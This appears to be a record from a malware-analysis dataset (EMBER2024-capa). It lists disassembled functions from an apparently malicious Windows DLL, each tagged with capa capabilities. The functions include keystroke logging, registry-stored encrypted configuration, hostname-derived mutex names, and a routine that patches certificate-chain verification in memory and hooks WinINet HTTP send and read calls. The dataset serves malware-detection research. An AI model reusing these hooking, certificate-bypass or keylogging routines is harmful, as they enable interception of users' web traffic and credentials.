joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007ba0
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push 0xff
mov esi, eax
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20f]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xc], cx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x10007c6a
lea edx, [ebp - 0x210]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10007c00
xor eax, eax
mov word [ebp - 0xc], 1
xor ecx, ecx
jmp 0x10007c20
mov byte [ebp + ecx - 0x10c], cl
inc ecx
cmp ecx, 0x100
jl 0x10007c20
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x10c], dl
inc eax
cmp eax, 0x20
jl 0x10007c47
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007c32
lea eax, [ebp - 0x210]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x10c]
call fcn.10017c10
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007cc5
cmp esi, ebx
je 0x10007ca7
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push ebx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x10007cb2
mov eax, dword [ebp - 4]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp eax, ebx
jne 0x10007cc5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
jmp 0x10007cc7
mov esi, ebx
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007cd5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007d50
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x10007d98
nop
push 0x64
call ebx
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10007d80
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edi, edi
mov dword [esp + 0xc], edi
cmp esi, edi
je 0x10007dc7
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10007dc7
test byte [esp + 0xc], 2
jne 0x10007dc7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10059e90], edi
jne 0x10007dd8
call fcn.10007ce0
test eax, eax
je 0x10007e1f
push 0x104
lea ecx, [esp + 0x14]
push ecx
push edi
mov dword [0x10059e90], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.10007ce0
test eax, eax
je 0x10007e13
push 0x10045644
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10007e13
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1004eb00]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7d0
call ebx
call fcn.10007d50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008ec0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ecx, dword [0x10059ea8]
push ebx
push esi
mov esi, dword [0x1004eaf8]
mov al, 1
push edi
mov byte [ebp - 1], al
cmp ecx, dword [ebp + 8]
jne 0x10008ef9
mov edx, dword [0x10059eac]
cmp edx, dword [ebp + 0xc]
jne 0x10008ef9
mov cl, byte [0x10059e8d]
cmp cl, byte [ebp + 0x10]
je 0x10009041
mov edx, dword [0x1004f62c]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov eax, dword [0x1004eb10]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push eax
call edi
mov ecx, dword [0x1004eb04]
push 0xffffffffffffffff
push ecx
call edi
mov edi, dword [esi + 0x2f4]
call fcn.10008d30
mov edx, dword [0x1004f59c]
push 0
push 6
push edx
call fcn.1000e0e0
call fcn.10008c30
mov eax, dword [0x10059eec]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [0x10059ef4]
mov ebx, eax
mov dword [ebp + 0x10], 0
test eax, eax
je 0x10008f7b
lea ecx, [ebp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10008f7b
test byte [ebp + 0x10], 2
jne 0x10008f7b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1004f598]
mov eax, dword [edx + 0x11b]
push 0x1004f54c
push eax
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x10059ef4], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10059eec], eax
test eax, eax
jne 0x10008fbf
xor bl, bl
jmp 0x10009028
mov ecx, dword [0x1004f598]
mov edx, dword [0x10059eac]
mov eax, dword [0x10059ea8]
movzx ecx, byte [ecx + 0x11a]
push edx
push eax
call fcn.10029c80
test edi, edi
je 0x10008ff2
mov ecx, dword [0x1004eaf4]
push edi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1004f59c]
push 1
push 6
push edx
call fcn.1000e0e0
movzx eax, word [0x10059eac]
movzx ecx, word [0x10059ea8]
movzx edx, byte [0x10059e8d]
shl eax, 0x10
or eax, ecx
push eax
push edx
push 0x7e
call fcn.1000e0e0
mov bl, byte [ebp - 1]
mov eax, dword [0x1004eb04]
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push eax
call esi
mov ecx, dword [0x1004eb10]
push ecx
call esi
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10009990
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
mov edi, eax
xor eax, eax
test bl, bl
setne al
mov byte [ebp - 4], 0
dec eax
and eax, 0xc0000000
mov dword [ebp + 0xc], eax
xor al, al
movzx ecx, al
cmp dword [ecx*8 + 0x10048d70], edi
je 0x100099c6
inc al
cmp al, 0x58
jb 0x100099b2
jmp 0x100099e9
movzx eax, al
add eax, eax
add eax, eax
mov dl, byte [eax + eax + 0x10048d74]
add eax, eax
cmp byte [eax + 0x10048d75], 0
mov byte [ebp - 4], dl
je 0x100099e9
or dword [ebp + 0xc], 0x1000000
mov eax, dword [0x1004eb1c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [ebp - 4], 0
je 0x10009a71
mov ecx, dword [ebp - 4]
push ecx
mov cl, bl
call fcn.10009ba0
movzx edi, byte [ebp - 4]
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
test al, al
je 0x10009a22
movzx edx, al
shl edx, 0x10
or dword [ebp + 0xc], edx
mov eax, dword [0x1004f598]
test byte [eax + 0x1a], 0x80
je 0x10009a37
test byte [eax + 0x19], 0x80
jne 0x10009a37
mov al, 1
jmp 0x10009a39
xor al, al
test bl, bl
je 0x10009a57
xor ecx, ecx
test al, al
setne cl
mov byte [0x1004eb1b], 1
lea esi, [ecx*4 + 0x100]
jmp 0x10009afa
xor edx, edx
test al, al
setne dl
mov byte [0x1004eb1b], 0
lea esi, [edx*4 + 0x101]
jmp 0x10009afa
cmp byte [0x1004eb1b], 0
mov esi, dword [0x1004f598]
jne 0x10009a9e
cmp byte [0x1004eb1a], 0
je 0x10009ab0
add edi, 0xffffffe0
test bl, bl
je 0x10009aee
mov byte [0x1004eb1a], 1
mov esi, 0x100
jmp 0x10009afa
test byte [esi + 0x18], 0x80
je 0x10009a89
cmp byte [esi + 0x1a], 0
jne 0x10009a89
cmp byte [esi + 0x19], 0
jne 0x10009a89
test bl, bl
je 0x10009ad9
mov eax, edi
call fcn.10009860
movzx eax, ax
test ax, ax
je 0x10009ad9
test byte [esi + 0x1a], 0x80
je 0x10009ad0
or dword [ebp + 0xc], 0x20000000
mov edi, eax
mov esi, 0x102
jmp 0x10009afa
mov eax, dword [0x1004eb1c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov byte [0x1004eb1a], 0
mov esi, 0x101
mov ecx, dword [0x1004eb1c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, byte [ebp - 4]
call fcn.100098f0
test al, al
je 0x10009b57
cmp byte [0x10059e8e], 0
je 0x10009b88
cmp byte [0x10059ed2], 0
jne 0x10009b38
call fcn.1000d6c0
pop edi
pop esi
mov byte [0x10059ed2], al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [0x1004f544]
push 0
push 0
push 0xe2ad
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp byte [0x10059e8f], 0
jne 0x10009b81
mov eax, dword [0x1004f59c]
mov ebx, dword [ebp + 8]
push 0
push 3
push eax
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp + 0xc]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
mov byte [0x10059e8f], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10009eb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
movzx esi, ax
shr eax, 0x10
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
cmp eax, 0x201
ja 0x10009f15
je 0x10009f0c
mov ecx, eax
sub ecx, 0xa1
je 0x10009f01
sub ecx, 3
je 0x10009ef6
sub ecx, 3
jne 0x10009ff7
mov dword [ebp - 4], 0xa9
mov bl, 1
jmp 0x10009f3a
mov dword [ebp - 4], 0xa6
mov bl, 1
jmp 0x10009f3a
mov dword [ebp - 4], 0xa3
mov bl, 1
jmp 0x10009f3a
mov dword [ebp - 4], 0x203
jmp 0x10009f38
mov ecx, eax
sub ecx, 0x204
je 0x10009f31
sub ecx, 3
jne 0x10009ff7
mov dword [ebp - 4], 0x209
jmp 0x10009f38
mov dword [ebp - 4], 0x206
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub esi, dword [0x1004eb20]
sub edi, dword [0x1004eb24]
mov ecx, eax
xor eax, eax
mov dword [ebp - 8], ecx
cmp esi, eax
jge 0x10009f59
neg esi
cmp edi, eax
jge 0x10009f5f
neg edi
mov edx, dword [0x10059ec4]
cmp edx, dword [ebp + 8]
jne 0x10009fc8
mov edx, dword [0x10059ec8]
cmp edx, dword [ebp + 0xc]
jne 0x10009fc8
sub ecx, dword [0x10059ecc]
cmp ecx, 0x3e8
ja 0x10009fc8
test bl, bl
jne 0x10009f99
mov eax, dword [ebp + 8]
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_GetClassLongA]
test al, 8
je 0x10009fc8
xor eax, eax
cmp esi, 2
jg 0x10009fc8
cmp edi, 2
jg 0x10009fc8
mov dword [0x1004eb20], eax
mov dword [0x1004eb24], eax
mov dword [0x10059ec8], eax
mov dword [0x10059ecc], eax
mov dword [0x10059ec4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [0x10059ec8], ecx
mov ecx, dword [ebp - 0x10]
mov dword [0x10059ecc], edx
mov edx, dword [ebp - 0xc]
mov dword [0x10059ec4], eax
mov eax, dword [ebp + 0xc]
mov dword [0x1004eb20], ecx
mov dword [0x1004eb24], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000d0e0
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
mov edi, eax
push esi
push edi
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push esi
push edi
mov ebx, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0xc

Function at 0x1000d6c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x1000d690
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [ebp - 4], 0
test esi, esi
je 0x1000d703
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000d703
test byte [ebp - 4], 2
jne 0x1000d703
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1004eb1c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1004f598]
mov esi, dword [eax + 0x10c]
xor edx, edx
mov dword [eax + 0x110], 0
mov dword [eax + 0x10c], 0
mov word [eax + 0x114], dx
mov eax, dword [0x1004eb1c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1000d761
push 0
push 0
push 0x215
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.1000daf0
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000d7a0
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x1004f588
mov dword [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x1004f588
call dword [sym.imp.KERNEL32.dll_lstrlenA]
or ecx, 0xffffffff
mov edx, 0x1004f588
test eax, eax
je 0x1000d7ed
movzx esi, byte [edx]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x1004f6c8]
inc edx
dec eax
jne 0x1000d7d4
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
not ecx
mov esi, ecx
push esi
push str.MSCTF.Shared.MAPPING._x
push 0x1004f5a0
call edi
lea ebx, [esi + esi]
push ebx
push str.MSCTF.Shared.MAPPING._x
push 0x1004f54c
call edi
lea ecx, [esi + esi*2]
push ecx
push str.MSCTF.Shared.MAPPING._x
push 0x1004f5dc
call edi
push esi
push str.MSCTF.Shared.MUTEX._x
push 0x1004f670
call edi
push ebx
push str.MSCTF.Shared.MUTEX._x
push 0x1004f630
call edi
add esp, 0x3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d850
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
call fcn.1000e140
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
mov dword [0x1004e60c], eax
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x1004eaf4], eax
call fcn.1000d7a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x1004f5a0
push 0x2939
push 0
push 4
push 0
push 0xffffffffffffffff
xor bl, bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x10059ef0], eax
call edi
mov dword [0x1004f598], eax
test eax, eax
je 0x1000d991
call fcn.10008d30
mov eax, dword [0x1004f598]
mov ecx, dword [eax + 0x11b]
push 0x1004f54c
push ecx
push 0
push 4
push 0
push 0xffffffffffffffff
call esi
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x10059ef4], eax
call edi
mov dword [0x10059eec], eax
test eax, eax
je 0x1000d991
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x1004f670
push 0
push 0
call esi
mov dword [0x1004eb1c], eax
test eax, eax
je 0x1000d991
push 0
push 0
push 0
call esi
mov dword [0x1004eb04], eax
test eax, eax
je 0x1000d991
push 0x1004f630
push 0
push 0
call esi
mov dword [0x1004eb10], eax
test eax, eax
je 0x1000d991
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
call esi
mov dword [0x1004eb08], eax
test eax, eax
je 0x1000d991
push 0
push 0
push 1
push 0
call esi
mov dword [0x1004eb00], eax
test eax, eax
je 0x1000d991
push 0
push 0
push 0
push 0
call esi
mov dword [0x1004eb0c], eax
test eax, eax
je 0x1000d991
push 0x1004f5dc
push 0
push 0
push 0
call esi
mov dword [0x1004eafc], eax
test eax, eax
je 0x1000d991
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x1000d9a0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push 0x90
lea eax, [ebp - 0xa0]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa4]
push ecx
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xa0], 5
mov eax, 1
setbe dl
xor ecx, ecx
mov byte [0x1004f390], dl
cpuid
lea esi, [ebp - 0x10]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
test dword [ebp - 8], 0x200
pop esi
pop ebx
je 0x1000da18
mov dword [0x1004e608], 0x10008860
mov esp, ebp
pop ebp
ret
test dword [ebp - 4], 0x4000000
je 0x1000da2b
mov dword [0x1004e608], 0x10008640
mov esp, ebp
pop ebp
ret

Function at 0x1000da30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x101
lea eax, [ebp - 0x104]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edx, eax
or eax, 0xffffffff
lea ecx, [ebp - 0x104]
test edx, edx
je 0x1000da7a
push esi
lea esp, [esp]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x1004f6c8]
inc ecx
dec edx
jne 0x1000da60
pop esi
not eax
mov esp, ebp
pop ebp
ret
Function at 0x1000daf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10059ed4]
sub esp, 0x104
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
push esi
push edi
push 1
push 5
push eax
call ebx
push eax
call ebx
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov esi, eax
lea esp, [esp]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1000dbb7
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x40000000
jne 0x1000db9c
push 0x101
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
or ecx, 0xffffffff
lea edx, [ebp - 0x104]
test eax, eax
je 0x1000db7f
nop
movzx ebx, byte [edx]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x1004f6c8]
inc edx
dec eax
jne 0x1000db60
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
not ecx
test ecx, ecx
je 0x1000db96
xor eax, eax
cmp ecx, dword [eax*8 + 0x1004e528]
je 0x1000dbcd
inc eax
cmp eax, 0xb
jb 0x1000db87
xor eax, eax
test al, 0x20
je 0x1000dbb7
push 0
push 0x1b
push 0x100
push esi
call edi
push 0xc01b0000
push 0x1b
push 0x101
push esi
call edi
push 3
push esi
call ebx
mov esi, eax
test esi, esi
jne 0x1000db20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [eax*8 + 0x1004e52c]
jmp 0x1000db98
Function at 0x10010ef0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0
push 0
push str.Crypt32.dll
mov dword [ebp - 0xc], 0xc240c033
mov word [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10010f61
push str.CertVerifyCertificateChainPolicy
push eax
call edi
mov esi, eax
test esi, esi
je 0x10010f61
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call ebx
test eax, eax
je 0x10010f60
mov eax, dword [ebp - 4]
test eax, eax
je 0x10010f60
mov ecx, dword [ebp - 0xc]
mov dx, word [ebp - 8]
mov dword [esi], ecx
lea ecx, [ebp - 4]
push ecx
push eax
push 6
push esi
mov word [esi + 4], dx
call ebx
pop ebx
push 0
push 0
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x10011076
push 0x100494b0
push esi
call edi
test eax, eax
je 0x10010f96
push 0x1004fb00
push 0x10010af0
push eax
call fcn.1001a040
push str.HttpSendRequestW
push esi
call edi
test eax, eax
je 0x10010fb2
push 0x1004fb04
push 0x100109e0
push eax
call fcn.1001a040
push str.HttpSendRequestExA
push esi
call edi
test eax, eax
je 0x10010fce
push 0x1004faf8
push 0x10010cc0
push eax
call fcn.1001a040
push str.HttpSendRequestExW
push esi
call edi
test eax, eax
je 0x10010fea
push 0x1004fb14
push 0x10010c00
push eax
call fcn.1001a040
push str.InternetQueryDataAvailable
push esi
call edi
test eax, eax
je 0x10011006
push 0x1004fb0c
push 0x10010e60
push eax
call fcn.1001a040
push 0x1004951c
push esi
call edi
test eax, eax
je 0x10011022
push 0x1004fb10
push 0x10010d70
push eax
call fcn.1001a040
push str.InternetReadFileExA
push esi
call edi
test eax, eax
je 0x1001103e
push 0x1004fafc
push 0x10010e10
push eax
call fcn.1001a040
push str.InternetReadFileExW
push esi
call edi
test eax, eax
je 0x1001105a
push 0x1004faec
push 0x10010dc0
push eax
call fcn.1001a040
push 0x10049558
push esi
call edi
test eax, eax
je 0x10011076
push 0x1004faf0
push 0x10010660
push eax
call fcn.1001a040
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100113b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001150b
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x1005ab00
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001150b
mov word [ebp - 0x10], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x10011460
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x20
jl 0x10011487
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10011472
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10017c10
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100114b3
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x100114eb
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x100114eb
push edi
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x1001150a
lea eax, [ebp - 0x214]
mov edx, eax
sub esi, edx
jmp 0x10011500
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x10011500
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10011519
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10011530
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20b]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 8], cx
mov byte [ebp - 0x20c], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
xor edi, edi
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x10011656
lea edx, [ebp - 0x20c]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10011590
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
jmp 0x100115b0
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x100115b0
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x20
jl 0x100115d7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x100115c2
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x108]
call fcn.10017c10
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10011648
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 1
push ebx
push 0x1005ab00
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10011648
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10011656
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4